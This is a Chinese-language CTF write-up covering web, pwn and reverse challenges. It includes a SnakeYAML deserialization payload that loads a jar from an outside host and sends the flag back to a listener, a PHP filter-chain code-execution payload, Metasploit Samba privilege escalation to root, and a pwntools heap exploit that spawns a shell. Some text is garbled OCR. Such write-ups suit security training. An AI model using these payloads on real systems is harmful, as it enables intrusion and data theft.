

DSCTF V&N WriteUp

Web

easy_yaml

```
1      public ShiroFilterFactoryBean shiroFilter() {
2          ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
3          bean.setSecurityManager((org.apache.shiro.mgt.SecurityManager) securityManager());
4          bean.setLoginUrl("/login");
5          Map<String, String> filterMap = new LinkedHashMap<>();
6          filterMap.put("/static/*", "anon");
7          filterMap.put("/load/*", "authc");
8          bean.setFilterChainDefinitionMap(filterMap);
9          return bean;
10     }
11     @PostMapping(value = "/load/{id}")
12     @ResponseBody
13     public String loadyaml(@PathVariable(name = "id") String id, @RequestParam(name = "persondata", defaultValue = "") String persondata) throws IOException, ClassNotFoundException {
14         Yaml yaml = new Yaml();
15         Person p = yaml.loadAs(persondata, Person.class);
16         return p.username;
17     }
18     public class Address {
19         public String street;
20         public Object ext;
21         public boolean isValid;
22     }
23     public class Person {
24         public String username;
25         public String age;
26         public boolean isLogin;
27         public Address address;
28     }
```

前面有一个shiro的验证需要绕过：

```
1 http://39.105.38.203:30113/load/%3b
```

然后后面就是一个yaml的反序列化漏洞

参考<https://cloud.tencent.com/developer/article/1917395>，构造Payload：

```
1 persondata={age: 20,username: ye,address: { !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [!!java.net.URL ["http://101.34.200.205:888/yaml-payload.jar"]]]}}
```

yaml-payload.jar参考<https://github.com/artspl0it/yaml-payload>项目，稍微改一下源码变成读文件的就可以了。

然后服务器Python起一个服务，直接打就行了：

```
root@VM-0-8-ubuntu:~/JNDI-Injection-Exploit# nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 39.105.38.203 34472 received!
GET /?a=flag{0831778476e75b691c4396d1297e748e} HTTP/1.1
User-Agent: Java/1.8.0_322
Host: 101.34.200.205:1234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```

easy_tou

<http://47.93.179.206:30004/?file=/etc/passwd>

PHP的文件包含漏洞

```
1 php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS02022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS02022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS02022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS02022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS02022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS02022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS02022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS02022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS02022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS02022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS02022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS02022KR|convert.iconv.ISO2022KR.UTF16|con
```

```

vert.iconv.CP1133.1BM932|convert.base64-decode|convert.base64-encode|conve
rt.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.
UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.
851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.U
T7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.ic
onv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|conver
t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.icon
v.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|co
nvert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.i
conv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF1
6|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-enco
de|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.C
SISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64
-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.C
SISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.
UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.ico
nv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.b
ase64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|conver
t.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|
convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022
KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-deco
de|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16L
E|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJI
S.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|c
onvert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO202
2KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.ic
onv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.
iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=id

```

Request

PrettyRawHex

37.

JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/re-source=/etc/passwd&id HTTP/1.1

Host: 47.93.179.206:30004

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK

2 Date: Fri, 15 Jul 2022 02:26:33 GMT

3 Server: Apache/2.4.41 (Ubuntu)

4 Vary: Accept-Encoding

5 Content-Length: 1306

6 Connection: close

7 Content-Type: text/html; charset=UTF-8

8

9 give me a ?fileuid=33(www-data) gid=33(www-data) groups=33(www-data)

10

很多命令执行不了，低权限，可以用php -r 'var_dump(scandir("/"))';列目录

绕来绕去发现提权点不是pkexec提权，查一下进程服务：

```
(www-data:/var/www/html) $ service --status-all
[ + ] apache-htcacheclean
[ - ] apache2
[ + ] bootmisc.sh
[ - ] checkfs.sh
[ - ] checkroot-bootclean.sh
[ - ] checkroot.sh
[ - ] cron
[ - ] dbus
[ + ] hostname.sh
[ ? ] hwclock.sh
[ - ] killprocs
[ - ] mountall-bootclean.sh
[ - ] mountall.sh
[ - ] mountdevsubfs.sh
[ - ] mountkernfs.sh
[ - ] mountnfs-bootclean.sh
[ - ] mountnfs.sh
[ ? ] networking
[ - ] nmbd
[ ? ] ondemand
[ - ] procs
[ + ] rc.local
[ - ] samba
[ - ] samba-ad-dc
[ - ] sendsigs
[ - ] smbd
[ + ] umountfs
[ + ] umountnfs.sh
[ + ] umountroot
[ + ] unattended-upgrades
[ - ] urandom
```

看到有一个samba的服务，发现这个服务有很多漏洞可以提权，然后就上reGeorg+proxychains代理出来，msf直接打了，用linux/samba/is_known_pipename:

```
Basic options:
  Name      Current Setting  Required  Description
  -----
  RHOSTS     127.0.0.1         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      445               yes       The SMB service port (TCP)
  SMB_FOLDER          no          The directory to use within the writeable SMB share
  SMB_SHARE_NAME      no          The name of the SMB share containing a writeable directory

msf6 exploit(linux/samba/is_known_pipename) > exploit
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK

[*] 127.0.0.1:445 - Using location \\127.0.0.1\share\ for the path
[*] 127.0.0.1:445 - Retrieving the remote path of the share 'share'
[*] 127.0.0.1:445 - Share 'share' has server-side path '/tmp/'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[*] 127.0.0.1:445 - Uploaded payload to \\127.0.0.1\share\wGcmrPlE.so
[*] 127.0.0.1:445 - Loading the payload from server-side path /tmp/wGcmrPlE.so using \\PIPE\./wGcmrPlE.so...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[-] 127.0.0.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 127.0.0.1:445 - Loading the payload from server-side path /tmp/wGcmrPlE.so using /tmp/wGcmrPlE.so...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[+] 127.0.0.1:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:445 ... OK
[*] Command shell session 2 opened (127.0.0.1:61421 -> 127.0.0.1:1080) at 2022-07-15 20:33:49 +0800

whoami
root
```

然后直接tac /root/*了:

```

0m0d00l;u#m00柄70/0u=0-o00"0_0Q2oQ0t ;000eIR0*oT0$00!m00a000!90g0@ um v00
j0000o07 0^0
0P0| &000'00 0!00'0BX00 0
0`0000/0 00r00200/0 0; 0"00000$000=B0#00@"@0_9000 r0>20
00060 fl0P00@_0^0d0r0TSGo000 YwNCduQvdM5tZgyqNOYu/VQSZB_5GvC00007uloN-J
0000000 0 ELF>0F0_00@/0E&8t0:_0UPX!h
flag{con_you_find_me_this_is_what_smb smb_can_do_in_linux}
0V00jZP0a0T0-N45J0t00PK$ index.php5 index.php00/0(0JM00WPJ0,KU0MUHT0000IU0000K0)MI0P0ww
192.168.20.71:10001 open
192.168.20.70:22 open
192.168.20.65:22 open
192.168.20.69:22 open

```

Pwn

fuzzerinstrospector

在scanf("%hhhd",&xx)中输入 - 或者 + 就会跳过 修改xx指向的地址中的值
 但直接从unsorted bin中获取chunk, 程序会自动将chunk的fd,bk设置为0,
 那么就需要先将chunk与top chunk合并, 然后通过分裂top chunk,
 获取fd指向unsorted bin的chunk, 进而获取libc的地址

```

1  from pwn import *
2  import time
3  from LibcSearcher import *
4  def add(ind,int_l,data):
5      int_l=list(int_l)
6      print(ind)
7      while len(int_l)!=8:
8          int_l.append(0)
9      data=data.ljust(256,b'\x00')
10     p.sendlineafter('choice: ','1')
11     p.sendlineafter('Index: ',str(ind))
12     for i in int_l[:8]:
13         if i=='\x00':
14             p.sendafter('Index: ',str(i))
15             break
16     p.sendlineafter('Index: ',str(i))
17     p.sendlineafter('Bitmap:',data)
18
19  def edit(ind,int_l,data):
20     print(ind)
21     while len(int_l)!=8:
22         int_l.append(0)
23     data=data.ljust(256,b'\x00')
24     p.sendlineafter('choice: ','2')
25     p.sendlineafter('Index: ',str(ind))
26     for i in int_l[:8]:
27         p.sendlineafter('Index: ',str(i))
28         if i=='\x00':
29             break
30     p.sendlineafter('Bitmap:',data)
31

```

```

32 def show(ind):
33     print(ind)
34     p.sendlineafter('choice: ', '3')
35     p.sendlineafter('Index: ', str(ind))
36     int_l=[]
37     for i in range(8):
38         p.readuntil('Bit: ')
39         int_l.append(int(p.readline().strip()))
40     return int_l
41
42 def free(ind):
43     print(ind)
44     p.sendlineafter('choice: ', '4')
45     p.sendlineafter('Index: ', str(ind))
46
47 #p=process('./fuzz')
48 p=remote("39.105.185.193 30007")
49 #gdb.attach(p)
50 data=''
51 for i in range(0,256):
52     data=data+chr(i)
53
54 for i in range(9):
55     add(i, [0xff, 0xfe, 0xfd, 0xfc, 0xfb, 0xfa, 0xf9, 0xf8], data)
56 for i in range(8):
57     free(i)
58 pause()
59 free(8)
60
61 data1=[]
62 e='/bin/sh'
63 for i in e:
64     data1.append(ord(i))
65
66 for i in range(7):
67     # add(i, [0xff, 0xfe, 0xfd, 0xfc, 0xfb, 0xfa, 0xf9, 0xf8], data)
68     add(i, data1, data)
69
70
71 add(7, '-'*8, data)
72 pause()
73 l=show(7)
74 ou=''
75 for i in l:
76     ou=hex(i)[2:]+ou
77 print(ou)
78
79 main_arena=int(ou, 16)-0x60
80 malloc_hook=main_arena-0x10
81 libc=ELF('libc-2.27.so', checksec=0)
82 libc.address=malloc_hook-libc.sym['__malloc_hook']

```

```

83 system=libc.sym['system']
84 print(system)
85
86 p.sendline('6')
87 p.sendline(str(system))
88 p.interactive()
89

```

Re

catchme

so文件B5FE函数 先过一个标准aes函数 iv和key是一样的 再过base64

解压so文件，通过码表找到关键函数

发现每个字符串都被异或加密了

输入先经过标准EBC AES加密再经过变表base64加密

The screenshot shows a web-based tool for converting Base64 data to Hex. On the left, under the 'Recipe' tab, the 'From Base64' section is active, showing an alphabet dropdown and a checked 'Remove non-alphabet chars' option. Below it, the 'To Hex' section shows a 'Delimiter' of 'Space' and 'Bytes per line' of '0'. On the right, the 'Input' field contains the Base64 string '#pZ%eVSk!QNUlfNIjemL&w=='. The 'Output' field displays the resulting Hex string 'da 96 78 79 54 a4 d1 03 54 95 f3 48 8d e9 8b eb'.

获取密文 AES解密即可

```

1 data = [ 0x4F, 0x1C, 0x36, 0x49, 0x09, 0x3A, 0x3F, 0x07, 0x4D, 0x3D,
2         0x22, 0x39, 0x00, 0x0A, 0x22, 0x25, 0x06, 0x09, 0x01, 0x20,
3         0x4A, 0x1B, 0x51, 0x51, 0x6C]
4 for t in data:
5     print(chr(t ^ 0x6C), end = "")
6 print()
7
8 key = [ 0x24, 0x3C, 0x3D, 0x37, 0x36, 0x21, 0x35, 0x26, 0x3F, 0x37,
9        0x32, 0x2A, 0x72, 0x72, 0x72, 0x72, 0x53]
10 for t in key:
11     print(chr(t ^ 0x53), end = "")
12 print()
13
14 key = b'wonderfulday!!!!'

```

```

15 enc = bytes([0xda,0x96,0x78,0x79,0x54,0xa4,0xd1,0x03,0x54,0x95,0xf3,0x48,0
16 x8d,0xe9,0x8b,0xeb])
17 ciper = AES.new(key,AES.MODE_ECB)
print(ciper.decrypt(enc))

```

FFunction

xdbg或者ida调试my_plugin.dll

拿到密文

```

1 1544910156, 3520561639, 1344008563, 3410866722,
2 559768053, 1070243559, 2088154567, 3353185465,
3 2567775226, 195762899, 2383595826, 3540499186,
4 3844985123, 4223045420, 3185071075, 2301501006,
5 970811130, 2281630821, 813456992, 873229312

```

类tea解密 两个字节合并

解出一个base

```

1 void Decrypt(UINT32 *v, UINT32 *k)
2 {
3     unsigned long n = 32, sum, y = v[0], z = v[1];
4     unsigned long delta = 0x79B99E37;
5     sum = delta << 5;
6     while (n-- > 0)
7     {
8         z += ((y << 4) + k[2]) ^ (y + sum) ^ ((y >> 5) + k[3]);
9         y += ((z << 4) + k[0]) ^ (z + sum) ^ ((z >> 5) + k[1]);
10        sum -= delta;
11    }
12    v[0] = y;
13    v[1] = z;
14 }
15

```

base记得倒序 然后解密:

flag{Emp0wer_F1utter_w1th_C!!}

Misc

Welcome_to_DSCTF

base64 Welcome_to_DSCTF